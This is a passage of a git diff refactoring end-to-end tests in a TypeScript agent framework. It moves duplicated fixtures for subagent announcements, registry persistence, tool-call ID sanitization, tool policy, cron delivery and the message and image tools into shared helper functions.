{ return new Proxy(sessionStore, { @@ -150,13 +165,7 @@ describe("subagent announce formatting", () => { childRunId: "run-456", requesterSessionKey: "agent:main:main", requesterDisplayKey: "main", - task: "do thing", - timeoutMs: 1000, - cleanup: "keep", - waitForCompletion: false, - startedAt: 10, - endedAt: 20, - outcome: { status: "ok" }, + ...defaultOutcomeAnnounce, }); const call = agentSpy.mock.calls[0]?.[0] as { params?: { message?: string } }; @@ -171,13 +180,7 @@ describe("subagent announce formatting", () => { childRunId: "run-direct-idem", requesterSessionKey: "agent:main:main", requesterDisplayKey: "main", - task: "do thing", - timeoutMs: 1000, - cleanup: "keep", - waitForCompletion: false, - startedAt: 10, - endedAt: 20, - outcome: { status: "ok" }, + ...defaultOutcomeAnnounce, }); const call = agentSpy.mock.calls[0]?.[0] as { params?: Record }; @@ -205,13 +208,7 @@ describe("subagent announce formatting", () => { childRunId: "run-usage", requesterSessionKey: "agent:main:main", requesterDisplayKey: "main", - task: "do thing", - timeoutMs: 1000, - cleanup: "keep", - waitForCompletion: false, - startedAt: 10, - endedAt: 20, - outcome: { status: "ok" }, + ...defaultOutcomeAnnounce, }); const call = agentSpy.mock.calls[0]?.[0] as { params?: { message?: string } }; @@ -248,13 +245,7 @@ describe("subagent announce formatting", () => { childRunId: "run-789", requesterSessionKey: "main", requesterDisplayKey: "main", - task: "do thing", - timeoutMs: 1000, - cleanup: "keep", - waitForCompletion: false, - startedAt: 10, - endedAt: 20, - outcome: { status: "ok" }, + ...defaultOutcomeAnnounce, }); expect(didAnnounce).toBe(true); @@ -285,22 +276,14 @@ describe("subagent announce formatting", () => { childRunId: "run-999", requesterSessionKey: "main", requesterDisplayKey: "main", - task: "do thing", - timeoutMs: 1000, - cleanup: "keep", - waitForCompletion: false, - startedAt: 10, - endedAt: 20, - outcome: { status: "ok" }, + ...defaultOutcomeAnnounce, }); expect(didAnnounce).toBe(true); - await expect.poll(() => agentSpy.mock.calls.length).toBe(1); - - const call = agentSpy.mock.calls[0]?.[0] as { params?: Record }; - expect(call?.params?.channel).toBe("whatsapp"); - expect(call?.params?.to).toBe("+1555"); - expect(call?.params?.accountId).toBe("kev"); + const params = await getSingleAgentCallParams(); + expect(params.channel).toBe("whatsapp"); + expect(params.to).toBe("+1555"); + expect(params.accountId).toBe("kev"); }); it("keeps queued idempotency unique for same-ms distinct child runs", async () => { @@ -376,13 +359,7 @@ describe("subagent announce formatting", () => { requesterSessionKey: "agent:main:subagent:orchestrator", requesterDisplayKey: "agent:main:subagent:orchestrator", requesterOrigin: { channel: "whatsapp", to: "+1555", accountId: "acct" }, - task: "do thing", - timeoutMs: 1000, - cleanup: "keep", - waitForCompletion: false, - startedAt: 10, - endedAt: 20, - outcome: { status: "ok" }, + ...defaultOutcomeAnnounce, }); expect(didAnnounce).toBe(true); @@ -415,22 +392,14 @@ describe("subagent announce formatting", () => { childRunId: "run-thread", requesterSessionKey: "main", requesterDisplayKey: "main", - task: "do thing", - timeoutMs: 1000, - cleanup: "keep", - waitForCompletion: false, - startedAt: 10, - endedAt: 20, - outcome: { status: "ok" }, + ...defaultOutcomeAnnounce, }); expect(didAnnounce).toBe(true); - await expect.poll(() => agentSpy.mock.calls.length).toBe(1); - - const call = agentSpy.mock.calls[0]?.[0] as { params?: Record }; - expect(call?.params?.channel).toBe("telegram"); - expect(call?.params?.to).toBe("telegram:123"); - expect(call?.params?.threadId).toBe("42"); + const params = await getSingleAgentCallParams(); + expect(params.channel).toBe("telegram"); + expect(params.to).toBe("telegram:123"); + expect(params.threadId).toBe("42"); }); it("prefers requesterOrigin.threadId over session entry threadId", async () => { @@ -458,13 +427,7 @@ describe("subagent announce formatting", () => { to: "telegram:123", threadId: 99, }, - task: "do thing", - timeoutMs: 1000, - cleanup: "keep", - waitForCompletion: false, - startedAt: 10, - endedAt: 20, - outcome: { status: "ok" }, + ...defaultOutcomeAnnounce, }); expect(didAnnounce).toBe(true); @@ -495,13 +458,7 @@ describe("subagent announce formatting", () => { requesterSessionKey: "main", requesterDisplayKey: "main", requesterOrigin: { accountId: "acct-a" }, - task: "do thing", - timeoutMs: 1000, - cleanup: "keep", - waitForCompletion: false, - startedAt: 10, - endedAt: 20, - outcome: { status: "ok" }, + ...defaultOutcomeAnnounce, }), runSubagentAnnounceFlow({ childSessionKey: "agent:main:subagent:test-b", @@ -509,13 +466,7 @@ describe("subagent announce formatting", () => { requesterSessionKey: "main", requesterDisplayKey: "main", requesterOrigin: { accountId: "acct-b" }, - task: "do thing", - timeoutMs: 1000, - cleanup: "keep", - waitForCompletion: false, - startedAt: 10, - endedAt: 20, - outcome: { status: "ok" }, + ...defaultOutcomeAnnounce, }), ]); @@ -538,13 +489,7 @@ describe("subagent announce formatting", () => { requesterSessionKey: "agent:main:main", requesterOrigin: { channel: "whatsapp", accountId: "acct-123" }, requesterDisplayKey: "main", - task: "do thing", - timeoutMs: 1000, - cleanup: "keep", - waitForCompletion: false, - startedAt: 10, - endedAt: 20, - outcome: { status: "ok" }, + ...defaultOutcomeAnnounce, }); expect(didAnnounce).toBe(true); @@ -568,13 +513,7 @@ describe("subagent announce formatting", () => { requesterSessionKey: "agent:main:subagent:orchestrator", requesterOrigin: { channel: "whatsapp", accountId: "acct-123", to: "+1555" }, requesterDisplayKey: "agent:main:subagent:orchestrator", - task: "do thing", - timeoutMs: 1000, - cleanup: "keep", - waitForCompletion: false, - startedAt: 10, - endedAt: 20, - outcome: { status: "ok" }, + ...defaultOutcomeAnnounce, }); expect(didAnnounce).toBe(true); @@ -632,13 +571,7 @@ describe("subagent announce formatting", () => { childRunId: "run-child", requesterSessionKey: "agent:main:main", requesterDisplayKey: "main", - task: "do thing", - timeoutMs: 1000, - cleanup: "keep", - waitForCompletion: false, - startedAt: 10, - endedAt: 20, - outcome: { status: "ok" }, + ...defaultOutcomeAnnounce, }); const call = agentSpy.mock.calls[0]?.[0] as { params?: { message?: string } }; @@ -661,13 +594,7 @@ describe("subagent announce formatting", () => { childRunId: "run-parent", requesterSessionKey: "agent:main:main", requesterDisplayKey: "main", - task: "do thing", - timeoutMs: 1000, - cleanup: "keep", - waitForCompletion: false, - startedAt: 10, - endedAt: 20, - outcome: { status: "ok" }, + ...defaultOutcomeAnnounce, }); expect(didAnnounce).toBe(false); @@ -687,13 +614,7 @@ describe("subagent announce formatting", () => { childRunId: "run-leaf", requesterSessionKey: "agent:main:subagent:orchestrator", requesterDisplayKey: "agent:main:subagent:orchestrator", - task: "do thing", - timeoutMs: 1000, - cleanup: "keep", - waitForCompletion: false, - startedAt: 10, - endedAt: 20, - outcome: { status: "ok" }, + ...defaultOutcomeAnnounce, }); expect(didAnnounce).toBe(true); @@ -771,13 +692,7 @@ describe("subagent announce formatting", () => { requesterSessionKey: "agent:main:main", requesterOrigin: { channel: " whatsapp ", accountId: " acct-987 " }, requesterDisplayKey: "main", - task: "do thing", - timeoutMs: 1000, - cleanup: "keep", - waitForCompletion: false, - startedAt: 10, - endedAt: 20, - outcome: { status: "ok" }, + ...defaultOutcomeAnnounce, }); expect(didAnnounce).toBe(true); @@ -806,13 +721,7 @@ describe("subagent announce formatting", () => { requesterSessionKey: "main", requesterOrigin: { channel: "bluebubbles", to: "bluebubbles:chat_guid:123" }, requesterDisplayKey: "main", - task: "do thing", - timeoutMs: 1000, - cleanup: "keep", - waitForCompletion: false, - startedAt: 10, - endedAt: 20, - outcome: { status: "ok" }, + ...defaultOutcomeAnnounce, }); expect(didAnnounce).toBe(true); diff --git a/src/agents/subagent-registry.persistence.e2e.test.ts b/src/agents/subagent-registry.persistence.e2e.test.ts index 4a6620c4e57..5a97f03be9e 100644 --- a/src/agents/subagent-registry.persistence.e2e.test.ts +++ b/src/agents/subagent-registry.persistence.e2e.test.ts @@ -33,6 +33,43 @@ describe("subagent registry persistence", () => { const envSnapshot = captureEnv(["OPENCLAW_STATE_DIR"]); let tempStateDir: string | null = null; + const writePersistedRegistry = async (persisted: Record) => { + tempStateDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-subagent-")); + process.env.OPENCLAW_STATE_DIR = tempStateDir; + const registryPath = path.join(tempStateDir, "subagents", "runs.json"); + await fs.mkdir(path.dirname(registryPath), { recursive: true }); + await fs.writeFile(registryPath, `${JSON.stringify(persisted)}\n`, "utf8"); + return registryPath; + }; + + const createPersistedEndedRun = (params: { + runId: string; + childSessionKey: string; + task: string; + cleanup: "keep" | "delete"; + }) => ({ + version: 2, + runs: { + [params.runId]: { + runId: params.runId, + childSessionKey: params.childSessionKey, + requesterSessionKey: "agent:main:main", + requesterDisplayKey: "main", + task: params.task, + cleanup: params.cleanup, + createdAt: 1, + startedAt: 1, + endedAt: 2, + }, + }, + }); + + const restartRegistryAndFlush = async () => { + resetSubagentRegistryForTests({ persist: false }); + initSubagentRegistry(); + await new Promise((r) => setTimeout(r, 0)); + }; + afterEach(async () => { announceSpy.mockClear(); resetSubagentRegistryForTests({ persist: false }); @@ -139,10 +176,6 @@ describe("subagent registry persistence", () => { }); it("maps legacy announce fields into cleanup state", async () => { - tempStateDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-subagent-")); - process.env.OPENCLAW_STATE_DIR = tempStateDir; - - const registryPath = path.join(tempStateDir, "subagents", "runs.json"); const persisted = { version: 1, runs: { @@ -163,8 +196,7 @@ describe("subagent registry persistence", () => { }, }, }; - await fs.mkdir(path.dirname(registryPath), { recursive: true }); - await fs.writeFile(registryPath, `${JSON.stringify(persisted)}\n`, "utf8"); + const registryPath = await writePersistedRegistry(persisted); const runs = loadSubagentRegistryFromDisk(); const entry = runs.get("run-legacy"); @@ -178,33 +210,16 @@ describe("subagent registry persistence", () => { }); it("retries cleanup announce after a failed announce", async () => { - tempStateDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-subagent-")); - process.env.OPENCLAW_STATE_DIR = tempStateDir; - - const registryPath = path.join(tempStateDir, "subagents", "runs.json"); - const persisted = { - version: 2, - runs: { - "run-3": { - runId: "run-3", - childSessionKey: "agent:main:subagent:three", - requesterSessionKey: "agent:main:main", - requesterDisplayKey: "main", - task: "retry announce", - cleanup: "keep", - createdAt: 1, - startedAt: 1, - endedAt: 2, - }, - }, - }; - await fs.mkdir(path.dirname(registryPath), { recursive: true }); - await fs.writeFile(registryPath, `${JSON.stringify(persisted)}\n`, "utf8"); + const persisted = createPersistedEndedRun({ + runId: "run-3", + childSessionKey: "agent:main:subagent:three", + task: "retry announce", + cleanup: "keep", + }); + const registryPath = await writePersistedRegistry(persisted); announceSpy.mockResolvedValueOnce(false); - resetSubagentRegistryForTests({ persist: false }); - initSubagentRegistry(); - await new Promise((r) => setTimeout(r, 0)); + await restartRegistryAndFlush(); expect(announceSpy).toHaveBeenCalledTimes(1); const afterFirst = JSON.parse(await fs.readFile(registryPath, "utf8")) as { @@ -214,9 +229,7 @@ describe("subagent registry persistence", () => { expect(afterFirst.runs["run-3"].cleanupCompletedAt).toBeUndefined(); announceSpy.mockResolvedValueOnce(true); - resetSubagentRegistryForTests({ persist: false }); - initSubagentRegistry(); - await new Promise((r) => setTimeout(r, 0)); + await restartRegistryAndFlush(); expect(announceSpy).toHaveBeenCalledTimes(2); const afterSecond = JSON.parse(await fs.readFile(registryPath, "utf8")) as { @@ -226,33 +239,16 @@ describe("subagent registry persistence", () => { }); it("keeps delete-mode runs retryable when announce is deferred", async () => { - tempStateDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-subagent-")); - process.env.OPENCLAW_STATE_DIR = tempStateDir; - - const registryPath = path.join(tempStateDir, "subagents", "runs.json"); - const persisted = { - version: 2, - runs: { - "run-4": { - runId: "run-4", - childSessionKey: "agent:main:subagent:four", - requesterSessionKey: "agent:main:main", - requesterDisplayKey: "main", - task: "deferred announce", - cleanup: "delete", - createdAt: 1, - startedAt: 1, - endedAt: 2, - }, - }, - }; - await fs.mkdir(path.dirname(registryPath), { recursive: true }); - await fs.writeFile(registryPath, `${JSON.stringify(persisted)}\n`, "utf8"); + const persisted = createPersistedEndedRun({ + runId: "run-4", + childSessionKey: "agent:main:subagent:four", + task: "deferred announce", + cleanup: "delete", + }); + const registryPath = await writePersistedRegistry(persisted); announceSpy.mockResolvedValueOnce(false); - resetSubagentRegistryForTests({ persist: false }); - initSubagentRegistry(); - await new Promise((r) => setTimeout(r, 0)); + await restartRegistryAndFlush(); expect(announceSpy).toHaveBeenCalledTimes(1); const afterFirst = JSON.parse(await fs.readFile(registryPath, "utf8")) as { @@ -261,9 +257,7 @@ describe("subagent registry persistence", () => { expect(afterFirst.runs["run-4"]?.cleanupHandled).toBe(false); announceSpy.mockResolvedValueOnce(true); - resetSubagentRegistryForTests({ persist: false }); - initSubagentRegistry(); - await new Promise((r) => setTimeout(r, 0)); + await restartRegistryAndFlush(); expect(announceSpy).toHaveBeenCalledTimes(2); const afterSecond = JSON.parse(await fs.readFile(registryPath, "utf8")) as { diff --git a/src/agents/tool-call-id.e2e.test.ts b/src/agents/tool-call-id.e2e.test.ts index 37128fc3d1c..d8bbb9a6fa1 100644 --- a/src/agents/tool-call-id.e2e.test.ts +++ b/src/agents/tool-call-id.e2e.test.ts @@ -5,6 +5,49 @@ import { sanitizeToolCallIdsForCloudCodeAssist, } from "./tool-call-id.js"; +const buildDuplicateIdCollisionInput = () => + [ + { + role: "assistant", + content: [ + { type: "toolCall", id: "call_a|b", name: "read", arguments: {} }, + { type: "toolCall", id: "call_a:b", name: "read", arguments: {} }, + ], + }, + { + role: "toolResult", + toolCallId: "call_a|b", + toolName: "read", + content: [{ type: "text", text: "one" }], + }, + { + role: "toolResult", + toolCallId: "call_a:b", + toolName: "read", + content: [{ type: "text", text: "two" }], + }, + ] satisfies AgentMessage[]; + +function expectCollisionIdsRemainDistinct( + out: AgentMessage[], + mode: "strict" | "strict9", +): { aId: string; bId: string } { + const assistant = out[0] as Extract; + const a = assistant.content?.[0] as { id?: string }; + const b = assistant.content?.[1] as { id?: string }; + expect(typeof a.id).toBe("string"); + expect(typeof b.id).toBe("string"); + expect(a.id).not.toBe(b.id); + expect(isValidCloudCodeAssistToolId(a.id as string, mode)).toBe(true); + expect(isValidCloudCodeAssistToolId(b.id as string, mode)).toBe(true); + + const r1 = out[1] as Extract; + const r2 = out[2] as Extract; + expect(r1.toolCallId).toBe(a.id); + expect(r2.toolCallId).toBe(b.id); + return { aId: a.id as string, bId: b.id as string }; +} + describe("sanitizeToolCallIdsForCloudCodeAssist", () => { describe("strict mode (default)", () => { it("is a no-op for already-valid non-colliding IDs", () => { @@ -53,44 +96,11 @@ describe("sanitizeToolCallIdsForCloudCodeAssist", () => { }); it("avoids collisions when sanitization would produce duplicate IDs", () => { - const input = [ - { - role: "assistant", - content: [ - { type: "toolCall", id: "call_a|b", name: "read", arguments: {} }, - { type: "toolCall", id: "call_a:b", name: "read", arguments: {} }, - ], - }, - { - role: "toolResult", - toolCallId: "call_a|b", - toolName: "read", - content: [{ type: "text", text: "one" }], - }, - { - role: "toolResult", - toolCallId: "call_a:b", - toolName: "read", - content: [{ type: "text", text: "two" }], - }, - ] satisfies AgentMessage[]; + const input = buildDuplicateIdCollisionInput(); const out = sanitizeToolCallIdsForCloudCodeAssist(input); expect(out).not.toBe(input); - - const assistant = out[0] as Extract; - const a = assistant.content?.[0] as { id?: string }; - const b = assistant.content?.[1] as { id?: string }; - expect(typeof a.id).toBe("string"); - expect(typeof b.id).toBe("string"); - expect(a.id).not.toBe(b.id); - expect(isValidCloudCodeAssistToolId(a.id as string, "strict")).toBe(true); - expect(isValidCloudCodeAssistToolId(b.id as string, "strict")).toBe(true); - - const r1 = out[1] as Extract; - const r2 = out[2] as Extract; - expect(r1.toolCallId).toBe(a.id); - expect(r2.toolCallId).toBe(b.id); + expectCollisionIdsRemainDistinct(out, "strict"); }); it("caps tool call IDs at 40 chars while preserving uniqueness", () => { @@ -174,48 +184,14 @@ describe("sanitizeToolCallIdsForCloudCodeAssist", () => { }); it("avoids collisions with alphanumeric-only suffixes", () => { - const input = [ - { - role: "assistant", - content: [ - { type: "toolCall", id: "call_a|b", name: "read", arguments: {} }, - { type: "toolCall", id: "call_a:b", name: "read", arguments: {} }, - ], - }, - { - role: "toolResult", - toolCallId: "call_a|b", - toolName: "read", - content: [{ type: "text", text: "one" }], - }, - { - role: "toolResult", - toolCallId: "call_a:b", - toolName: "read", - content: [{ type: "text", text: "two" }], - }, - ] satisfies AgentMessage[]; + const input = buildDuplicateIdCollisionInput(); const out = sanitizeToolCallIdsForCloudCodeAssist(input, "strict"); expect(out).not.toBe(input); - - const assistant = out[0] as Extract; - const a = assistant.content?.[0] as { id?: string }; - const b = assistant.content?.[1] as { id?: string }; - expect(typeof a.id).toBe("string"); - expect(typeof b.id).toBe("string"); - expect(a.id).not.toBe(b.id); - // Both should be strictly alphanumeric - expect(isValidCloudCodeAssistToolId(a.id as string, "strict")).toBe(true); - expect(isValidCloudCodeAssistToolId(b.id as string, "strict")).toBe(true); + const { aId, bId } = expectCollisionIdsRemainDistinct(out, "strict"); // Should not contain underscores or hyphens - expect(a.id).not.toMatch(/[_-]/); - expect(b.id).not.toMatch(/[_-]/); - - const r1 = out[1] as Extract; - const r2 = out[2] as Extract; - expect(r1.toolCallId).toBe(a.id); - expect(r2.toolCallId).toBe(b.id); + expect(aId).not.toMatch(/[_-]/); + expect(bId).not.toMatch(/[_-]/); }); }); diff --git a/src/agents/tool-policy.e2e.test.ts b/src/agents/tool-policy.e2e.test.ts index 9fb44696b6b..0c93dd3843e 100644 --- a/src/agents/tool-policy.e2e.test.ts +++ b/src/agents/tool-policy.e2e.test.ts @@ -13,6 +13,21 @@ import { TOOL_GROUPS, } from "./tool-policy.js"; +function createOwnerPolicyTools() { + return [ + { + name: "read", + // oxlint-disable-next-line typescript/no-explicit-any + execute: async () => ({ content: [], details: {} }) as any, + }, + { + name: "whatsapp_login", + // oxlint-disable-next-line typescript/no-explicit-any + execute: async () => ({ content: [], details: {} }) as any, + }, + ] as unknown as AnyAgentTool[]; +} + describe("tool-policy", () => { it("expands groups and normalizes aliases", () => { const expanded = expandToolGroups(["group:runtime", "BASH", "apply-patch", "group:fs"]); @@ -52,37 +67,13 @@ describe("tool-policy", () => { }); it("strips owner-only tools for non-owner senders", async () => { - const tools = [ - { - name: "read", - // oxlint-disable-next-line typescript/no-explicit-any - execute: async () => ({ content: [], details: {} }) as any, - }, - { - name: "whatsapp_login", - // oxlint-disable-next-line typescript/no-explicit-any - execute: async () => ({ content: [], details: {} }) as any, - }, - ] as unknown as AnyAgentTool[]; - + const tools = createOwnerPolicyTools(); const filtered = applyOwnerOnlyToolPolicy(tools, false); expect(filtered.map((t) => t.name)).toEqual(["read"]); }); it("keeps owner-only tools for the owner sender", async () => { - const tools = [ - { - name: "read", - // oxlint-disable-next-line typescript/no-explicit-any - execute: async () => ({ content: [], details: {} }) as any, - }, - { - name: "whatsapp_login", - // oxlint-disable-next-line typescript/no-explicit-any - execute: async () => ({ content: [], details: {} }) as any, - }, - ] as unknown as AnyAgentTool[]; - + const tools = createOwnerPolicyTools(); const filtered = applyOwnerOnlyToolPolicy(tools, true); expect(filtered.map((t) => t.name)).toEqual(["read", "whatsapp_login"]); }); diff --git a/src/agents/tools/cron-tool.e2e.test.ts b/src/agents/tools/cron-tool.e2e.test.ts index a43552643bb..9ff69eec6ce 100644 --- a/src/agents/tools/cron-tool.e2e.test.ts +++ b/src/agents/tools/cron-tool.e2e.test.ts @@ -12,6 +12,28 @@ vi.mock("../agent-scope.js", () => ({ import { createCronTool } from "./cron-tool.js"; describe("cron tool", () => { + async function executeAddAndReadDelivery(params: { + callId: string; + agentSessionKey: string; + delivery?: { mode?: string; channel?: string; to?: string } | null; + }) { + const tool = createCronTool({ agentSessionKey: params.agentSessionKey }); + await tool.execute(params.callId, { + action: "add", + job: { + name: "reminder", + schedule: { at: new Date(123).toISOString() }, + payload: { kind: "agentTurn", message: "hello" }, + ...(params.delivery !== undefined ? { delivery: params.delivery } : {}), + }, + }); + + const call = callGatewayMock.mock.calls[0]?.[0] as { + params?: { delivery?: { mode?: string; channel?: string; to?: string } }; + }; + return call?.params?.delivery; + } + beforeEach(() => { callGatewayMock.mockReset(); callGatewayMock.mockResolvedValue({ ok: true }); @@ -249,24 +271,12 @@ describe("cron tool", () => { }); it("infers delivery from threaded session keys", async () => { - callGatewayMock.mockResolvedValueOnce({ ok: true }); - - const tool = createCronTool({ - agentSessionKey: "agent:main:slack:channel:general:thread:1699999999.0001", - }); - await tool.execute("call-thread", { - action: "add", - job: { - name: "reminder", - schedule: { at: new Date(123).toISOString() }, - payload: { kind: "agentTurn", message: "hello" }, - }, - }); - - const call = callGatewayMock.mock.calls[0]?.[0] as { - params?: { delivery?: { mode?: string; channel?: string; to?: string } }; - }; - expect(call?.params?.delivery).toEqual({ + expect( + await executeAddAndReadDelivery({ + callId: "call-thread", + agentSessionKey: "agent:main:slack:channel:general:thread:1699999999.0001", + }), + ).toEqual({ mode: "announce", channel: "slack", to: "general", @@ -274,24 +284,12 @@ describe("cron tool", () => { }); it("preserves telegram forum topics when inferring delivery", async () => { - callGatewayMock.mockResolvedValueOnce({ ok: true }); - - const tool = createCronTool({ - agentSessionKey: "agent:main:telegram:group:-1001234567890:topic:99", - }); - await tool.execute("call-telegram-topic", { - action: "add", - job: { - name: "reminder", - schedule: { at: new Date(123).toISOString() }, - payload: { kind: "agentTurn", message: "hello" }, - }, - }); - - const call = callGatewayMock.mock.calls[0]?.[0] as { - params?: { delivery?: { mode?: string; channel?: string; to?: string } }; - }; - expect(call?.params?.delivery).toEqual({ + expect( + await executeAddAndReadDelivery({ + callId: "call-telegram-topic", + agentSessionKey: "agent:main:telegram:group:-1001234567890:topic:99", + }), + ).toEqual({ mode: "announce", channel: "telegram", to: "-1001234567890:topic:99", @@ -299,23 +297,13 @@ describe("cron tool", () => { }); it("infers delivery when delivery is null", async () => { - callGatewayMock.mockResolvedValueOnce({ ok: true }); - - const tool = createCronTool({ agentSessionKey: "agent:main:dm:alice" }); - await tool.execute("call-null-delivery", { - action: "add", - job: { - name: "reminder", - schedule: { at: new Date(123).toISOString() }, - payload: { kind: "agentTurn", message: "hello" }, + expect( + await executeAddAndReadDelivery({ + callId: "call-null-delivery", + agentSessionKey: "agent:main:dm:alice", delivery: null, - }, - }); - - const call = callGatewayMock.mock.calls[0]?.[0] as { - params?: { delivery?: { mode?: string; channel?: string; to?: string } }; - }; - expect(call?.params?.delivery).toEqual({ + }), + ).toEqual({ mode: "announce", to: "alice", }); diff --git a/src/agents/tools/image-tool.e2e.test.ts b/src/agents/tools/image-tool.e2e.test.ts index 2b58753777c..bd9d5113f7d 100644 --- a/src/agents/tools/image-tool.e2e.test.ts +++ b/src/agents/tools/image-tool.e2e.test.ts @@ -62,6 +62,22 @@ function createMinimaxImageConfig(): OpenClawConfig { }; } +async function expectImageToolExecOk( + tool: { + execute: (toolCallId: string, input: { prompt: string; image: string }) => Promise; + }, + image: string, +) { + await expect( + tool.execute("t1", { + prompt: "Describe the image.", + image, + }), + ).resolves.toMatchObject({ + content: [{ type: "text", text: "ok" }], + }); +} + describe("image tool implicit imageModel config", () => { const priorFetch = global.fetch; @@ -220,14 +236,7 @@ describe("image tool implicit imageModel config", () => { throw new Error("expected image tool"); } - await expect( - withWorkspace.execute("t1", { - prompt: "Describe the image.", - image: imagePath, - }), - ).resolves.toMatchObject({ - content: [{ type: "text", text: "ok" }], - }); + await expectImageToolExecOk(withWorkspace, imagePath); expect(fetch).toHaveBeenCalledTimes(1); } finally { @@ -250,14 +259,7 @@ describe("image tool implicit imageModel config", () => { throw new Error("expected image tool"); } - await expect( - tool.execute("t1", { - prompt: "Describe the image.", - image: imagePath, - }), - ).resolves.toMatchObject({ - content: [{ type: "text", text: "ok" }], - }); + await expectImageToolExecOk(tool, imagePath); expect(fetch).toHaveBeenCalledTimes(1); } finally { @@ -383,15 +385,15 @@ describe("image tool MiniMax VLM routing", () => { global.fetch = priorFetch; }); - it("calls /v1/coding_plan/vlm for minimax image models", async () => { + async function createMinimaxVlmFixture(baseResp: { status_code: number; status_msg: string }) { const fetch = vi.fn().mockResolvedValue({ ok: true, status: 200, statusText: "OK", headers: new Headers(), json: async () => ({ - content: "ok", - base_resp: { status_code: 0, status_msg: "" }, + content: baseResp.status_code === 0 ? "ok" : "", + base_resp: baseResp, }), }); // @ts-expect-error partial global @@ -407,6 +409,11 @@ describe("image tool MiniMax VLM routing", () => { if (!tool) { throw new Error("expected image tool"); } + return { fetch, tool }; + } + + it("calls /v1/coding_plan/vlm for minimax image models", async () => { + const { fetch, tool } = await createMinimaxVlmFixture({ status_code: 0, status_msg: "" }); const res = await tool.execute("t1", { prompt: "Describe the image.", @@ -428,29 +435,7 @@ describe("image tool MiniMax VLM routing", () => { }); it("surfaces MiniMax API errors from /v1/coding_plan/vlm", async () => { - const fetch = vi.fn().mockResolvedValue({ - ok: true, - status: 200, - statusText: "OK", - headers: new Headers(), - json: async () => ({ - content: "", - base_resp: { status_code: 1004, status_msg: "bad key" }, - }), - }); - // @ts-expect-error partial global - global.fetch = fetch; - - const agentDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-minimax-vlm-")); - vi.stubEnv("MINIMAX_API_KEY", "minimax-test"); - const cfg: OpenClawConfig = { - agents: { defaults: { model: { primary: "minimax/MiniMax-M2.1" } } }, - }; - const tool = createImageTool({ config: cfg, agentDir }); - expect(tool).not.toBeNull(); - if (!tool) { - throw new Error("expected image tool"); - } + const { tool } = await createMinimaxVlmFixture({ status_code: 1004, status_msg: "bad key" }); await expect( tool.execute("t1", { diff --git a/src/agents/tools/message-tool.e2e.test.ts b/src/agents/tools/message-tool.e2e.test.ts index 6a7d2eed24b..6913fde71d1 100644 --- a/src/agents/tools/message-tool.e2e.test.ts +++ b/src/agents/tools/message-tool.e2e.test.ts @@ -19,17 +19,22 @@ vi.mock("../../infra/outbound/message-action-runner.js", async () => { }; }); +function mockSendResult(overrides: { channel?: string; to?: string } = {}) { + mocks.runMessageAction.mockClear(); + mocks.runMessageAction.mockResolvedValue({ + kind: "send", + action: "send", + channel: overrides.channel ?? "telegram", + ...(overrides.to ? { to: overrides.to } : {}), + handledBy: "plugin", + payload: {}, + dryRun: true, + } satisfies MessageActionRunResult); +} + describe("message tool agent routing", () => { it("derives agentId from the session key", async () => { - mocks.runMessageAction.mockClear(); - mocks.runMessageAction.mockResolvedValue({ - kind: "send", - action: "send", - channel: "telegram", - handledBy: "plugin", - payload: {}, - dryRun: true, - } satisfies MessageActionRunResult); + mockSendResult(); const tool = createMessageTool({ agentSessionKey: "agent:alpha:main", @@ -50,16 +55,7 @@ describe("message tool agent routing", () => { describe("message tool path passthrough", () => { it("does not convert path to media for send", async () => { - mocks.runMessageAction.mockClear(); - mocks.runMessageAction.mockResolvedValue({ - kind: "send", - action: "send", - channel: "telegram", - to: "telegram:123", - handledBy: "plugin", - payload: {}, - dryRun: true, - } satisfies MessageActionRunResult); + mockSendResult({ to: "telegram:123" }); const tool = createMessageTool({ config: {} as never, @@ -78,16 +74,7 @@ describe("message tool path passthrough", () => { }); it("does not convert filePath to media for send", async () => { - mocks.runMessageAction.mockClear(); - mocks.runMessageAction.mockResolvedValue({ - kind: "send", - action: "send", - channel: "telegram", - to: "telegram:123", - handledBy: "plugin", - payload: {}, - dryRun: true, - } satisfies MessageActionRunResult); + mockSendResult({ to: "telegram:123" }); const tool = createMessageTool({ config: {} as never, @@ -164,16 +151,7 @@ describe("message tool description", () => { describe("message tool reasoning tag sanitization", () => { it("strips tags from text field before sending", async () => { - mocks.runMessageAction.mockClear(); - mocks.runMessageAction.mockResolvedValue({ - kind: "send", - action: "send", - channel: "signal", - to: "signal:+15551234567", - handledBy: "plugin", - payload: {}, - dryRun: true, - } satisfies MessageActionRunResult); + mockSendResult({ channel: "signal", to: "signal:+15551234567" }); const tool = createMessageTool({ config: {} as never }); @@ -188,16 +166,7 @@ describe("message tool reasoning tag sanitization", () => { }); it("strips tags from content field before sending", async () => { - mocks.runMessageAction.mockClear(); - mocks.runMessageAction.mockResolvedValue({ - kind: "send", - action: "send", - channel: "discord", - to: "discord:123", - handledBy: "plugin", - payload: {}, - dryRun: true, - } satisfies MessageActionRunResult); + mockSendResult({ channel: "discord", to: "discord:123" }); const tool = createMessageTool({ config: {} as never }); @@ -212,16 +181,7 @@ describe("message tool reasoning tag sanitization", () => { }); it("passes through text without reasoning tags unchanged", async () => { - mocks.runMessageAction.mockClear(); - mocks.runMessageAction.mockResolvedValue({ - kind: "send", - action: "send", - channel: "signal", - to: "signal:+15551234567", - handledBy: "plugin", - payload: {}, - dryRun: true, - } satisfies MessageActionRunResult); + mockSendResult({ channel: "signal", to: "signal:+15551234567" }); const tool = createMessageTool({ config: {} as never }); @@ -238,16 +198,7 @@ describe("message tool reasoning tag sanitization", () => { describe("message tool sandbox passthrough", () => { it("forwards sandboxRoot to runMessageAction", async () => { - mocks.runMessageAction.mockClear(); - mocks.runMessageAction.mockResolvedValue({ - kind: "send", - action: "send", - channel: "telegram", - to: "telegram:123", - handledBy: "plugin", - payload: {}, - dryRun: true, - } satisfies MessageActionRunResult); + mockSendResult({ to: "telegram:123" }); const tool = createMessageTool({ config: {} as never, @@ -265,16 +216,7 @@ describe("message tool sandbox passthrough", () => { }); it("omits sandboxRoot when not configured", async () => { - mocks.runMessageAction.mockClear(); - mocks.runMessageAction.mockResolvedValue({ - kind: "send", - action: "send", - channel: "telegram", - to: "telegram:123", - handledBy: "plugin", - payload: {}, - dryRun: true, - } satisfies MessageActionRunResult); + mockSendResult({ to: "telegram:123" }); const tool = createMessageTool({ config: {} as never, diff --git a/src/agents/tools/telegram-actions.e2e.test.ts 